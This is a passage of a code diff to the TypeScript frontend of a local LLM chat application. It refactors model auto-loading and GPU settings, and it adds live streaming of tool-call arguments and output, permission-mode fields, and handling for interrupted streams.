+        loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
+        tensorParallel: loadResp.tensor_parallel ?? false,
+        loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        // Non-GGUF response: clears any stale GPU baseline a prior manual-GPU
+        // GGUF load left, matching the interactive/status sibling load paths.
+        ...loadedGpuMemoryFields(loadResp),
+        defaultChatTemplate: loadResp.chat_template ?? null,
+        chatTemplateOverride: effectiveChatTemplateOverride,
+        loadedChatTemplateOverride: effectiveChatTemplateOverride,
+        customContextLength: null,
+        ...resolveLoadedSpeculativeSettings(loadResp),
+        loadedIsMultimodal: isMultimodalResponse(loadResp),
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
+      });
+    }
+    if (!(loadResp.is_lora ?? false)) {
+      recordLastLocalModelLoad({
+        id: candidate.id,
+        kind: candidate.kind,
+        ggufVariant: candidate.ggufVariant,
+      });
+    }
+    toast.success(candidate.successLabel, { id: toastId });
     return true;
   }
   try {
@@ -1369,95 +1747,118 @@ async function autoLoadSmallestModel(): Promise<{
       listCachedModels().catch(() => []),
     ]);
 
+    if (lastLoaded) {
+      if (lastLoaded.kind === "gguf") {
+        const repo = findCachedRepo(ggufRepos, lastLoaded.id);
+        if (repo && lastLoaded.ggufVariant) {
+          try {
+            const variants = await listGgufVariants(repo.repo_id, undefined, {
+              preferLocalCache: true,
+              localPath: repo.cache_path,
+            });
+            const variant = variants.variants.find(
+              (entry) =>
+                entry.downloaded &&
+                entry.quant?.toLowerCase() ===
+                  lastLoaded.ggufVariant?.toLowerCase() &&
+                isAutoLoadableGgufVariant(entry),
+            );
+            if (variant) {
+              toast("Loading last used model…", {
+                id: toastId,
+                description: `${repo.repo_id} (${variant.quant})`,
+                duration: 5000,
+              });
+              if (
+                await loadAutoLoadCandidate({
+                  id: repo.repo_id,
+                  loadId: repo.load_id,
+                  kind: "gguf",
+                  ggufVariant: variant.quant,
+                  maxSeqLength: 0,
+                  successLabel: `Loaded ${repo.repo_id} (${variant.quant})`,
+                })
+              ) {
+                return { loaded: true, blockedByTrustRemoteCode: false };
+              }
+            }
+          } catch {
+            hadNonTrustFailure = true;
+            skippedAutoLoadCandidates.add(
+              autoLoadCandidateKey("gguf", repo.repo_id, lastLoaded.ggufVariant),
+            );
+          }
+        }
+      } else {
+        const repo = findCachedRepo(modelRepos, lastLoaded.id);
+        if (repo) {
+          try {
+            toast("Loading last used model…", {
+              id: toastId,
+              description: repo.repo_id,
+              duration: 5000,
+            });
+            if (
+              await loadAutoLoadCandidate({
+                id: repo.repo_id,
+                loadId: repo.load_id,
+                kind: "model",
+                ggufVariant: null,
+                maxSeqLength: store.params.maxSeqLength,
+                successLabel: `Loaded ${repo.repo_id}`,
+              })
+            ) {
+              return { loaded: true, blockedByTrustRemoteCode: false };
+            }
+          } catch {
+            hadNonTrustFailure = true;
+            skippedAutoLoadCandidates.add(
+              autoLoadCandidateKey("model", repo.repo_id),
+            );
+          }
+        }
+      }
+      toast("Loading a model…", {
+        id: toastId,
+        description: "Auto-selecting the smallest downloaded model.",
+        duration: 5000,
+      });
+    }
+
     // GGUF first: smallest-total-size repo, then its smallest variant.
     if (ggufRepos.length > 0) {
       const sorted = [...ggufRepos].sort((a, b) => a.size_bytes - b.size_bytes);
       for (const repo of sorted) {
         if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) break;
         try {
-          const variants = await listGgufVariants(repo.repo_id);
+          const variants = await listGgufVariants(repo.repo_id, undefined, {
+            preferLocalCache: true,
+            localPath: repo.cache_path,
+          });
           const downloaded = variants.variants
             .filter((v) => v.downloaded && isAutoLoadableGgufVariant(v))
             .sort((a, b) => a.size_bytes - b.size_bytes);
           if (downloaded.length > 0) {
             const variant = downloaded[0];
             if (
-              !(await canAutoLoad({
-                model_path: repo.repo_id,
-                max_seq_length: 0,
-                is_lora: false,
-                gguf_variant: variant.quant,
-              }))
+              skippedAutoLoadCandidates.has(
+                autoLoadCandidateKey("gguf", repo.repo_id, variant.quant),
+              )
             ) {
               continue;
             }
-            loadAttempts += 1;
-            const loadResp = await loadModel({
-              model_path: repo.repo_id,
-              hf_token: hfToken,
-              max_seq_length: 0,
-              load_in_4bit: true,
-              is_lora: false,
-              gguf_variant: variant.quant,
-              trust_remote_code: trustRemoteCode,
-              speculative_type: specSettings.speculativeType,
-              spec_draft_n_max: specSettings.specDraftNMax,
-            });
-            saveSpeculativeType(specSettings.speculativeType);
-            useChatRuntimeStore
-              .getState()
-              .setCheckpoint(repo.repo_id, variant.quant);
-            const store = useChatRuntimeStore.getState();
-            store.setModelRequiresTrustRemoteCode(
-              loadResp.requires_trust_remote_code ?? false,
-            );
-            store.setParams({
-              ...store.params,
-              maxTokens: loadResp.context_length ?? 131072,
-            });
-            // Add to store so the selector shows the name.
-            const autoModel: ChatModelSummary = {
-              id: repo.repo_id,
-              name: loadResp.display_name ?? repo.repo_id,
-              isVision: loadResp.is_vision ?? false,
-              isLora: loadResp.is_lora ?? false,
-              isGguf: loadResp.is_gguf ?? false,
-              isAudio: loadResp.is_audio ?? false,
-              audioType: loadResp.audio_type ?? null,
-              hasAudioInput: loadResp.has_audio_input ?? false,
-            };
-            const existingModels = store.models;
-            if (!existingModels.some((m) => m.id === repo.repo_id)) {
-              store.setModels([...existingModels, autoModel]);
+            if (
+              await loadAutoLoadCandidate({
+                id: repo.repo_id,
+                loadId: repo.load_id,
+                kind: "gguf",
+                ggufVariant: variant.quant,
+                maxSeqLength: 0,
+                successLabel: `Loaded ${repo.repo_id} (${variant.quant})`,
+              })
+            ) {
+              return { loaded: true, blockedByTrustRemoteCode: false };
             }
-            useChatRuntimeStore.setState({
-              ggufContextLength: loadResp.context_length ?? 131072,
-              ggufMaxContextLength:
-                loadResp.max_context_length ??
-                loadResp.context_length ??
-                131072,
-              supportsReasoning: loadResp.supports_reasoning ?? false,
-              reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
-              reasoningEnabled: loadResp.supports_reasoning ?? false,
-              ...reasoningCapsFromLoad(loadResp),
-              supportsPreserveThinking:
-                loadResp.supports_preserve_thinking ?? false,
-              supportsTools: loadResp.supports_tools ?? false,
-              ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
-              kvCacheDtype: loadResp.cache_type_kv ?? null,
-              loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
-              tensorParallel: loadResp.tensor_parallel ?? false,
-              loadedTensorParallel: loadResp.tensor_parallel ?? false,
-              defaultChatTemplate: loadResp.chat_template ?? null,
-              chatTemplateOverride: null,
-              loadedChatTemplateOverride: null,
-              loadedIsMultimodal: isMultimodalResponse(loadResp),
-              ...resolveLoadedSpeculativeSettings(loadResp),
-            });
-            toast.success(`Loaded ${repo.repo_id} (${variant.quant})`, {
-              id: toastId,
-            });
-            return { loaded: true, blockedByTrustRemoteCode: false };
           }
         } catch {
           hadNonTrustFailure = true;
@@ -1475,64 +1876,24 @@ async function autoLoadSmallestModel(): Promise<{
         if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) break;
         try {
           if (
-            !(await canAutoLoad({
-              model_path: repo.repo_id,
-              max_seq_length: 4096,
-              is_lora: false,
-              gguf_variant: null,
-            }))
+            skippedAutoLoadCandidates.has(
+              autoLoadCandidateKey("model", repo.repo_id),
+            )
           ) {
             continue;
           }
-          loadAttempts += 1;
-          const sfLoadResp = await loadModel({
-            model_path: repo.repo_id,
-            hf_token: hfToken,
-            max_seq_length: 4096,
-            load_in_4bit: true,
-            is_lora: false,
-            gguf_variant: null,
-            trust_remote_code: trustRemoteCode,
-            speculative_type: specSettings.speculativeType,
-            spec_draft_n_max: specSettings.specDraftNMax,
-          });
-          saveSpeculativeType(specSettings.speculativeType);
-          useChatRuntimeStore.getState().setCheckpoint(repo.repo_id);
-          const store = useChatRuntimeStore.getState();
-          store.setModelRequiresTrustRemoteCode(
-            sfLoadResp.requires_trust_remote_code ?? false,
-          );
-          store.setParams({ ...store.params, maxTokens: 4096 });
-          useChatRuntimeStore.setState({
-            supportsReasoning: sfLoadResp.supports_reasoning ?? false,
-            reasoningAlwaysOn: sfLoadResp.reasoning_always_on ?? false,
-            reasoningEnabled: sfLoadResp.supports_reasoning ?? false,
-            ...reasoningCapsFromLoad(sfLoadResp),
-            supportsPreserveThinking:
-              sfLoadResp.supports_preserve_thinking ?? false,
-            supportsTools: sfLoadResp.supports_tools ?? false,
-            // Parity with the GGUF branch above.
-            ...resolveToolsEnabledOnLoad(sfLoadResp.supports_tools ?? false),
-            defaultChatTemplate: sfLoadResp.chat_template ?? null,
-            chatTemplateOverride: null,
-            loadedChatTemplateOverride: null,
-            ...resolveLoadedSpeculativeSettings(sfLoadResp),
-          });
-          const sfModel: ChatModelSummary = {
-            id: repo.repo_id,
-            name: sfLoadResp.display_name ?? repo.repo_id,
-            isVision: sfLoadResp.is_vision ?? false,
-            isLora: sfLoadResp.is_lora ?? false,
-            isGguf: sfLoadResp.is_gguf ?? false,
-          };
-          if (!store.models.some((m) => m.id === repo.repo_id)) {
-            store.setModels([...store.models, sfModel]);
+          if (
+            await loadAutoLoadCandidate({
+              id: repo.repo_id,
+              loadId: repo.load_id,
+              kind: "model",
+              ggufVariant: null,
+              maxSeqLength: 4096,
+              successLabel: `Loaded ${repo.repo_id}`,
+            })
+          ) {
+            return { loaded: true, blockedByTrustRemoteCode: false };
           }
-          useChatRuntimeStore.setState({
-            loadedIsMultimodal: isMultimodalResponse(sfLoadResp),
-          });
-          toast.success(`Loaded ${repo.repo_id}`, { id: toastId });
-          return { loaded: true, blockedByTrustRemoteCode: false };
         } catch {
           hadNonTrustFailure = true;
           continue;
@@ -1559,12 +1920,17 @@ async function autoLoadSmallestModel(): Promise<{
       duration: 30000,
     });
     try {
+      const rt = useChatRuntimeStore.getState();
       if (
         !(await canAutoLoad({
           model_path: "unsloth/Qwen3.5-4B-MTP-GGUF",
           max_seq_length: 0,
           is_lora: false,
           gguf_variant: "UD-Q4_K_XL",
+          // The same live-store GPU pick the load below sends (a fresh default
+          // model has no remembered settings to prefer).
+          gpu_ids: rt.selectedGpuIds ?? undefined,
+          gpu_memory_mode: rt.gpuMemoryMode,
         }))
       ) {
         toast.dismiss(toastId);
@@ -1574,6 +1940,9 @@ async function autoLoadSmallestModel(): Promise<{
       const loadResp = await loadModel({
         model_path: "unsloth/Qwen3.5-4B-MTP-GGUF",
         hf_token: hfToken,
+        // Model default under both modes: Auto layers + no pin means
+        // resolveFitMaxSeqLength returns 0 for every mode (the canAutoLoad
+        // preflight above sends the same).
         max_seq_length: 0,
         load_in_4bit: true,
         is_lora: false,
@@ -1581,8 +1950,20 @@ async function autoLoadSmallestModel(): Promise<{
         trust_remote_code: trustRemoteCode,
         speculative_type: specSettings.speculativeType,
         spec_draft_n_max: specSettings.specDraftNMax,
+        // GPU Memory mode is a standing preference, so honor it on auto-load.
+        // The layer/MoE/split knobs and the context pin are per-model: the live
+        // store may hold edits drafted for a staged pick, and a fresh default
+        // model has no remembered settings, so those stay at their defaults like
+        // the cached-candidate path. The GPU pick deliberately differs (it's the
+        // picker's current on-screen selection, which the canAutoLoad preflight
+        // above already committed to).
+        gpu_memory_mode: rt.gpuMemoryMode,
+        gpu_layers: GPU_LAYERS_AUTO,
+        n_cpu_moe: 0,
+        gpu_ids: rt.selectedGpuIds ?? undefined,
       });
       saveSpeculativeType(specSettings.speculativeType);
+      persistGpuMemoryModeOnLoad(loadResp, rt.gpuMemoryMode);
       useChatRuntimeStore
         .getState()
         .setCheckpoint("unsloth/Qwen3.5-4B-MTP-GGUF", "UD-Q4_K_XL");
@@ -1619,11 +2000,20 @@ async function autoLoadSmallestModel(): Promise<{
         loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
         tensorParallel: loadResp.tensor_parallel ?? false,
         loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        ...loadedGpuMemoryFields(loadResp),
+        // Drives the GPU Memory controls' diffusion gate; set alongside the
+        // GPU fields on every load path so the gate can't read stale.
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
         defaultChatTemplate: loadResp.chat_template ?? null,
         chatTemplateOverride: null,
         loadedIsMultimodal: isMultimodalResponse(loadResp),
         ...resolveLoadedSpeculativeSettings(loadResp),
       });
+      recordLastLocalModelLoad({
+        id: "unsloth/Qwen3.5-4B-MTP-GGUF",
+        kind: "gguf",
+        ggufVariant: "UD-Q4_K_XL",
+      });
       toast.success("Loaded Qwen3.5-4B-MTP (UD-Q4_K_XL)", { id: toastId });
       return { loaded: true, blockedByTrustRemoteCode: false };
     } catch {
@@ -1661,6 +2051,16 @@ export function createOpenAIStreamAdapter(
         ? `${sandboxSessionId || "_default"}:${resolvedThreadId}`
         : sandboxSessionId || "_default";
       const toolConfirmationIdsByBackendId = new Map<string, string>();
+      // Store keys are pane-scoped since local tool ids ("call_0") repeat across
+      // turns and concurrent panes (compare mode). Track this run's keys so
+      // cleanup can't wipe another pane's.
+      const toolOutputPaneScope = toolPaneScope(
+        options.modelType,
+        options.pairId,
+      );
+      const scopedToolOutputKey = (id: string) =>
+        toolOutputKey(toolOutputPaneScope, id);
+      const runToolLiveOutputKeys = new Set<string>();
       const resolvedThreadKey = resolvedThreadId ?? null;
       const pendingImageEditReferenceForRun = runtime.pendingImageEditReference;
       const selectedImageEditReference =
@@ -1736,6 +2136,7 @@ export function createOpenAIStreamAdapter(
         mcpEnabledForChat,
         confirmToolCalls,
         bypassPermissions,
+        permissionMode,
         webFetchToolsEnabled,
         ragEnabled,
         ragSource,
@@ -1769,6 +2170,9 @@ export function createOpenAIStreamAdapter(
             (provider) => provider.id === externalSelection.providerId,
           )
         : null;
+      const selectedModelSummary = runtime.models.find(
+        (model) => model.id === params.checkpoint,
+      );
       const externalApiKey = externalProvider
         ? getExternalProviderApiKey(externalProvider.id).trim()
         : "";
@@ -2151,6 +2555,7 @@ export function createOpenAIStreamAdapter(
       let waitingFirstChunk = true;
       let firstTokenSettled = false;
       const streamStartTime = Date.now();
+      let responseModelId = externalSelection?.modelId ?? params.checkpoint;
       let firstTokenTime: number | undefined;
       let totalChunks = 0;
       let resolveFirstToken: (() => void) | null = null;
@@ -2205,6 +2610,34 @@ export function createOpenAIStreamAdapter(
       };
       // Tool call parts, cumulative; result lands on tool_end.
       const toolCallParts: PositionedToolCallPart[] = [];
+      // Raw tool_args accumulator per card: the backend forwards arguments while
+      // the model is still WRITING them, and the partial parse below feeds the
+      // card's args so the code renders live.
+      const liveArgsTextById = new Map<string, string>();
+      // Backend tool ids ("call_0", ...) restart every response, so a bare id as
+      // store key lets a later turn's stream overwrite the preserved output an
+      // earlier still-mounted finished card reads (the tool_start stale-clear
+      // only guards the forward direction). Mint one per-run-unique part id per
+      // backend id (confirmation ids already synthesize their own) so each card
+      // key is unique; every tool_start/output/args/end resolves the same id via
+      // this map, dropped at tool_end.
+      const toolPartIdByBackendId = new Map<string, string>();
+      const resolveToolPartId = (backendToolCallId: string): string => {
+        if (!backendToolCallId) {
+          return toolCallParts[toolCallParts.length - 1]?.toolCallId ?? "";
+        }
+        const confirmationId =
+          toolConfirmationIdsByBackendId.get(backendToolCallId);
+        if (confirmationId) {
+          return confirmationId;
+        }
+        let partId = toolPartIdByBackendId.get(backendToolCallId);
+        if (!partId) {
+          partId = `${backendToolCallId}:${crypto.randomUUID()}`;
+          toolPartIdByBackendId.set(backendToolCallId, partId);
+        }
+        return partId;
+      };
       // Latest Gemini text-part thoughtSignature; pinned onto the final
       // text MessagePart so next-turn replay carries it.
       let latestTextThoughtSignature: string | undefined;
@@ -2372,6 +2805,60 @@ export function createOpenAIStreamAdapter(
         const externalBackendProviderType = toExternalBackendProviderType(
           externalProvider?.providerType,
         );
+        const buildResponseDetails = (
+          finishedAt: number,
+        ): ResponseDetailsMetadata => ({
+          modelId: params.checkpoint,
+          modelLabel:
+            (isExternalRequest || responseModelId !== params.checkpoint
+              ? responseModelId
+              : selectedModelSummary?.name || responseModelId) ||
+            params.checkpoint ||
+            "Unknown model",
+          responseModelId:
+            responseModelId ||
+            externalSelection?.modelId ||
+            params.checkpoint,
+          ...(externalProvider?.id ? { providerId: externalProvider.id } : {}),
+          providerName:
+            externalProvider?.name ??
+            (isExternalRequest ? "External provider" : "Local model"),
+          providerType: externalProvider?.providerType ?? "local",
+          startedAt: streamStartTime,
+          finishedAt,
+          durationMs: finishedAt - streamStartTime,
+          ...(sandboxSessionId ? { sessionId: sandboxSessionId } : {}),
+          cancelId,
+          toolCalls: Array.from(
+            new Set(
+              toolCallParts
+                .map((part) => part.toolName)
+                .filter(
+                  (toolName): toolName is string =>
+                    typeof toolName === "string" && toolName.length > 0,
+                ),
+            ),
+          ),
+          tools: {
+            search:
+              webSearchEnabledForThisTurn ||
+              (!isExternalRequest && supportsTools && toolsEnabled),
+            fetch: webFetchEnabledForThisTurn,
+            code:
+              codeExecEnabledForThisTurn ||
+              (!isExternalRequest && supportsTools && codeToolsEnabled),
+            images: imageGenerationEnabledForThisTurn,
+            mcp: !isExternalRequest && supportsTools && mcpEnabledForChat,
+            docs:
+              !isExternalRequest &&
+              supportsTools &&
+              (ragEnabled || projectRagEnabled),
+            artifacts: renderHtmlToolEnabledForThisTurn,
+            confirmToolCalls,
+            bypassPermissions,
+            permissionMode,
+          },
+        });
         const externalCapabilities = getProviderCapabilities(
           externalProvider?.providerType,
         );
@@ -2655,6 +3142,7 @@ export function createOpenAIStreamAdapter(
             audio_base64: audioBase64,
             cancel_id: cancelId,
             ...(sandboxSessionId ? { session_id: sandboxSessionId } : {}),
+            ...(resolvedThreadId ? { thread_id: resolvedThreadId } : {}),
             ...(useAdapter === undefined ? {} : { use_adapter: useAdapter }),
             ...(supportsReasoning
               ? reasoningStyle === "enable_thinking_effort"
@@ -2680,6 +3168,16 @@ export function createOpenAIStreamAdapter(
             ...(supportsPreserveThinking
               ? { preserve_thinking: preserveThinking }
               : {}),
+            // Permission level for local tool calls is sent for every local
+            // chat, not only when a tool pill is on: a process policy
+            // (unsloth run --enable-tools) can open the tool loop with no pill,
+            // and the backend must still see the selected gate. ask/auto request
+            // the confirm gate ("auto" only pauses calls flagged unsafe); off
+            // and full never prompt, full also drops the sandbox.
+            permission_mode: permissionMode,
+            confirm_tool_calls:
+              permissionMode === "ask" || permissionMode === "auto",
+            bypass_permissions: bypassPermissions,
             ...(supportsTools &&
             (toolsEnabled ||
               codeToolsEnabled ||
@@ -2701,10 +3199,6 @@ export function createOpenAIStreamAdapter(
                       : []),
                   ],
                   mcp_enabled: mcpEnabledForChat,
-                  // Bypass Permissions wins: never request the confirm gate
-                  // while bypassing, and tell the backend to drop the sandbox.
-                  confirm_tool_calls: confirmToolCalls && !bypassPermissions,
-                  bypass_permissions: bypassPermissions,
                   // Scope: thread_id = this thread's docs, kb_id = a KB,
                   // project_id = the thread's project sources (auto-on whenever
                   // the project has indexed sources, no Docs pill needed).
@@ -2739,6 +3233,7 @@ export function createOpenAIStreamAdapter(
                     : {}),
                   auto_heal_tool_calls:
                     useChatRuntimeStore.getState().autoHealToolCalls,
+                  nudge_tool_calls: useChatRuntimeStore.getState().nudgeToolCalls,
                   max_tool_calls_per_message:
                     useChatRuntimeStore.getState().maxToolCallsPerMessage,
                   tool_call_timeout: (() => {
@@ -2767,6 +3262,11 @@ export function createOpenAIStreamAdapter(
             const stream = streamChatCompletions(requestPayload, abortSignal);
 
             for await (const chunk of stream) {
+              const chunkModel = (chunk as { model?: unknown }).model;
+              if (typeof chunkModel === "string" && chunkModel.length > 0) {
+                responseModelId = chunkModel;
+              }
+
               // Handle tool status events
               const toolStatusText = (
                 chunk as unknown as { _toolStatus?: string }
@@ -2872,6 +3372,66 @@ export function createOpenAIStreamAdapter(
                   anthropicRefusalSeen = true;
                   continue;
                 }
+                if (toolEvent.type === "tool_output") {
+                  // Incremental stdout from a running tool: append to the live
+                  // store so the card renders it while the spinner runs. Final
+                  // result arrives via tool_end.
+                  const backendToolCallId =
+                    (toolEvent.tool_call_id as string) || "";
+                  const liveId = resolveToolPartId(backendToolCallId);
+                  const liveText =
+                    typeof toolEvent.text === "string" ? toolEvent.text : "";
+                  if (liveId && liveText) {
+                    const liveKey = scopedToolOutputKey(liveId);
+                    runToolLiveOutputKeys.add(liveKey);
+                    useChatRuntimeStore
+                      .getState()
+                      .appendToolLiveOutput(liveKey, liveText);
+                  }
+                  continue;
+                }
+                if (toolEvent.type === "tool_args") {
+                  // The model is still WRITING this call's arguments: accumulate
+                  // the raw stream and feed a partial parse into the part's args
+                  // so the card shows the code live. tool_start later replaces
+                  // args with the authoritative parse.
+                  const backendToolCallId =
+                    (toolEvent.tool_call_id as string) || "";
+                  const liveId = resolveToolPartId(backendToolCallId);
+                  const fragment =
+                    typeof toolEvent.text === "string" ? toolEvent.text : "";
+                  if (liveId && fragment) {
+                    const accum =
+                      (liveArgsTextById.get(liveId) ?? "") + fragment;
+                    liveArgsTextById.set(liveId, accum);
+                    const partial = parseLiveToolArgs(accum);
+                    const idx = toolCallParts.findIndex(
+                      (p) => p.toolCallId === liveId,
+                    );
+                    if (partial && idx !== -1) {
+                      const existing = toolCallParts[
+                        idx
+                      ] as PositionedToolCallPart;
+                      toolCallParts[idx] = {
+                        ...existing,
+                        args: partial.args as ToolCallMessagePart["args"],
+                        argsText: partial.argsText,
+                      };
+                      yield {
+                        content: buildAssistantContent(cumulativeText),
+                        metadata: {
+                          timing: buildTiming(
+                            streamStartTime,
+                            totalChunks,
+                            firstTokenTime,
+                          ),
+                          custom: { reasoningDuration },
+                        },
+                      };
+                    }
+                  }
+                  continue;
+                }
                 closeReasoningContent();
                 const toolProvenance = parseToolProvenance(
                   toolEvent.provenance,
@@ -2885,12 +3445,18 @@ export function createOpenAIStreamAdapter(
                   const id =
                     awaitingConfirmation && approvalId
                       ? `${toolConfirmationScopeId}:${approvalId}`
-                      : backendToolCallId ||
-                        approvalId ||
-                        `${toolEvent.tool_name}_${Date.now()}`;
+                      : backendToolCallId
+                        ? resolveToolPartId(backendToolCallId)
+                        : approvalId ||
+                          `${toolEvent.tool_name}_${Date.now()}`;
                   if (awaitingConfirmation && backendToolCallId) {
                     toolConfirmationIdsByBackendId.set(backendToolCallId, id);
                   }
+                  // "call_0" restarts every response: drop stale live/preserved
+                  // output under this key, else the card shows the previous call's.
+                  const staleKey = scopedToolOutputKey(id);
+                  useChatRuntimeStore.getState().clearToolLiveOutput(staleKey);
+                  useChatRuntimeStore.getState().clearToolFullOutput(staleKey);
                   const toolArgs = (toolEvent.arguments ??
                     {}) as ToolCallMessagePart["args"];
                   const idx = toolCallParts.findIndex(
@@ -2934,17 +3500,35 @@ export function createOpenAIStreamAdapter(
                 } else if (toolEvent.type === "tool_end") {
                   const backendToolCallId =
                     (toolEvent.tool_call_id as string) || "";
-                  const id =
-                    (backendToolCallId
-                      ? toolConfirmationIdsByBackendId.get(backendToolCallId)
-                      : undefined) ||
-                    backendToolCallId ||
-                    toolCallParts[toolCallParts.length - 1]?.toolCallId ||
-                    "";
+                  const id = resolveToolPartId(backendToolCallId);
                   if (backendToolCallId) {
                     toolConfirmationIdsByBackendId.delete(backendToolCallId);
+                    toolPartIdByBackendId.delete(backendToolCallId);
                   }
                   useChatRuntimeStore.getState().clearToolConfirmation(id);
+                  // The result replaces the live output, but if the stream
+                  // captured MORE than the truncated result, preserve it so the
+                  // finished card keeps everything. Uses the shared predicate,
+                  // not a length compare (footer / "Exit code N:" / __IMAGES__
+                  // tail can make the result longer by byte).
+                  const liveKey = scopedToolOutputKey(id);
+                  const liveOutput =
+                    useChatRuntimeStore.getState().toolLiveOutput[liveKey] ??
+                    "";
+                  if (
+                    id &&
+                    shouldPreserveFullOutput(
+                      liveOutput,
+                      (toolEvent.result as string) ?? "",
+                    )
+                  ) {
+                    useChatRuntimeStore
+                      .getState()
+                      .setToolFullOutput(liveKey, liveOutput);
+                  }
+                  useChatRuntimeStore.getState().clearToolLiveOutput(liveKey);
+                  runToolLiveOutputKeys.delete(liveKey);
+                  liveArgsTextById.delete(id);
                   const idx = toolCallParts.findIndex(
                     (p) => p.toolCallId === id,
                   );
@@ -2952,9 +3536,12 @@ export function createOpenAIStreamAdapter(
                     const rawResult = (toolEvent.result as string) ?? "";
                     const imgMarker = "\n__IMAGES__:";
                     const imgIdx = rawResult.lastIndexOf(imgMarker);
+                    const mcpImgMarker = "\n__MCP_IMAGES__:";
+                    const mcpImgIdx = rawResult.lastIndexOf(mcpImgMarker);
                     let parsedResult:
                       | string
                       | { text: string; images: string[]; sessionId: string }
+                      | McpImageToolResult
                       | {
                           image_b64: string;
                           image_mime: string;
@@ -2964,6 +3551,24 @@ export function createOpenAIStreamAdapter(
                           prompt?: string;
                         };
                     const imageB64 = toolEvent.image_b64 as string | undefined;
+                    // A valid MCP image envelope wins; an invalid marker falls
+                    // through so a sandbox __IMAGES__ suffix still renders and
+                    // legit text round-trips unchanged.
+                    let mcpImages: McpImageToolResult | null = null;
+                    if (mcpImgIdx !== -1) {
+                      try {
+                        const images = JSON.parse(
+                          rawResult.slice(mcpImgIdx + mcpImgMarker.length),
+                        );
+                        const candidate = {
+                          text: rawResult.slice(0, mcpImgIdx),
+                          images,
+                        };
+                        if (isMcpImageToolResult(candidate)) mcpImages = candidate;
+                      } catch {
+                        // Not a valid envelope; fall through below.
+                      }
+                    }
                     if (
                       toolCallParts[idx].toolName === "image_generation" &&
                       typeof imageB64 === "string" &&
@@ -2981,6 +3586,8 @@ export function createOpenAIStreamAdapter(
                         background: toolEvent.background as string | undefined,
                         prompt: toolEvent.prompt as string | undefined,
                       };
+                    } else if (mcpImages !== null) {
+                      parsedResult = mcpImages;
                     } else if (imgIdx !== -1) {
                       const text = rawResult.slice(0, imgIdx);
                       // Fall back to "_default" to match the backend sandbox
@@ -3434,11 +4041,12 @@ export function createOpenAIStreamAdapter(
           });
         }
 
+        const finishedAt = Date.now();
         const finalTiming = buildTiming(
           streamStartTime,
           totalChunks,
           serverPromptEvalTime ?? firstTokenTime,
-          Date.now() - streamStartTime,
+          finishedAt - streamStartTime,
           finalTokenCount,
           toolCallParts.length,
           finalTokPerSec,
@@ -3474,6 +4082,7 @@ export function createOpenAIStreamAdapter(
                     modelId: params.checkpoint,
                   }
                 : undefined,
+              responseDetails: buildResponseDetails(finishedAt),
               timing: finalTiming,
             },
           },
@@ -3484,7 +4093,16 @@ export function createOpenAIStreamAdapter(
         );
         if (!abortSignal.aborted) {
           const msg = err instanceof Error ? err.message : String(err);
-          if (isContextLimitError(msg)) {
+          if (err instanceof StreamInterruptedError) {
+            // Connection dropped mid-turn: surface it explicitly (the rethrow
+            // below also marks the message with an inline error + Retry).
+            toast.error("Response interrupted", {
+              description:
+                "The connection dropped before the model finished. " +
+                "The partial answer is kept. Use Retry to regenerate.",
+              duration: 8000,
+            });
+          } else if (isContextLimitError(msg)) {
             // llama-server runs with --no-context-shift, returning a hard
             // error instead of silently dropping old KV-cache turns. Point
             // the user at the control that raises the ceiling.
@@ -3510,6 +4128,19 @@ export function createOpenAIStreamAdapter(
         }
         runtime.setGeneratingStatus(null);
         runtime.setToolStatus(null);
+        // Clear only this run's live keys (a concurrent pane owns its own). A
+        // key still here streamed stdout but never reached tool_end (SSE drop or
+        // cancel), so promote it to full output first, else the partial
+        // diagnostics the user was watching vanish from the card.
+        for (const liveKey of runToolLiveOutputKeys) {
+          const store = useChatRuntimeStore.getState();
+          const liveOutput = store.toolLiveOutput[liveKey] ?? "";
+          if (liveOutput) {
+            store.setToolFullOutput(liveKey, liveOutput);
+          }
+          store.clearToolLiveOutput(liveKey);
+        }
+        runToolLiveOutputKeys.clear();
         // Drop the transient denoising canvas so the finished bubble shows only
         // the committed markdown answer (cancellation/error included).
         runtime.setActiveDiffusionCanvas(null);
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 8195d89528..ffaf099f29 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -2,7 +2,12 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { prepareHfTokenForUse } from "@/features/hf-auth";
+// These helpers are deliberately API-layer-only and are not part of their
+// features' React-facing public barrels.
+// eslint-disable-next-line no-restricted-imports
 import { hubTokenHeader } from "@/features/hub/lib/hub-token-header";
+// eslint-disable-next-line no-restricted-imports
 import { consumeNativePathToken } from "@/features/native-intents/api";
 import { formatFastApiDetail } from "@/lib/format-fastapi-error";
 import type {
@@ -28,6 +33,22 @@ import type {
 } from "../types/api";
 
 export const CHAT_HISTORY_UPDATED_EVENT = "unsloth-chat-history-updated";
+export const CHAT_PROJECTS_UPDATED_EVENT = "unsloth-chat-projects-updated";
+
+/**
+ * Thrown when the chat SSE stream ends without a terminal signal (`[DONE]` or a
+ * finish_reason chunk): the connection dropped mid-generation. The adapter
+ * surfaces it as an explicit interrupted state instead of ending the turn.
+ */
+export class StreamInterruptedError extends Error {
+  constructor() {
+    super(
+      "Response interrupted: the connection dropped before the model finished. " +
+        "Use Retry to regenerate.",
+    );
+    this.name = "StreamInterruptedError";
+  }
+}
 
 export function notifyChatHistoryUpdated(): void {
   if (typeof window !== "undefined") {
@@ -35,6 +56,13 @@ export function notifyChatHistoryUpdated(): void {
   }
 }
 
+function notifyChatProjectsUpdated(): void {
+  notifyChatHistoryUpdated();
+  if (typeof window !== "undefined") {
+    window.dispatchEvent(new Event(CHAT_PROJECTS_UPDATED_EVENT));
+  }
+}
+
 function parseErrorText(status: number, body: unknown): string {
   if (body && typeof body === "object") {
     const detail = (body as { detail?: unknown }).detail;
